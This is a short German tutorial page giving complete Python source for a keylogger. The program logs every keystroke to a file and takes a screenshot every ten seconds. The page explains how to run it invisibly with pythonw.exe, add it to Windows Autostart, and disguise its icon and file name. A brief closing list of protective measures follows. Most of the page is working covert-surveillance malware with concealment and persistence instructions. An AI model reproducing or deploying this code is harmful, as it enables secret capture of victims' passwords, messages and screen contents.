Keylogger mit Screenshot

Keylogger - Python Programm


import keyboard
import json
import datetime
import pyautogui
import time
import os
keyboard.unhook_all()
file = open("./log.txt", "w", encoding="utf-8")
def on_key(key):
file.write(json.dumps(key.__dict__) + "\n")
file.flush()
keyboard.hook(on_key)
if not os.path.exists("./screenshots"):
os.mkdir("./screenshots")
while True:
time.sleep(10)
current = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
filename = "./screenshots/" + current + ".jpg"
pyautogui.screenshot(filename)

Dieses Programm erstellt eine Datei log.txt. In dieser Datei werden sämtliche Tastenanschläge gespeichert. Ebenfalls wird alle ca. 10 Sekunden ein Screenshot erstellt. Diese werden im Ordner screenshots abgelegt.

Um dieses Programm nun im Hintergrund laufen zu lassen muss es mit pythonw.exe aufgerufen werden.
Erstelle dazu eine Verknüpfung zu pythonw.exe und übergib die auszuführende keylogger-Datei
Zusätzlich kann nach der Anpassung die Verknüpfung in den Autostart kopiert werden. Nach einer Anpassung des Logos und der Anpassung des Dateinamens kann das Programm im Hintergrund beim Starten des Rechners ausgeführt werden.


Wie schütze ich mich vor Keyloggern?


Grundregeln

  • Achtsamkeit
  • Physischer Zutrittsbeschränkung
  • System, Antispyware und AV-Schutz aktuell halten

Weitere Massnahmen

  • Virtuelle Tastatur (Bildschirm-Tastatur)
  • Eingaben "verunreinigen" (Internet-Café-Methode)
  • Keylogger-Detector installieren
  • Konfiguration des Betriebssystems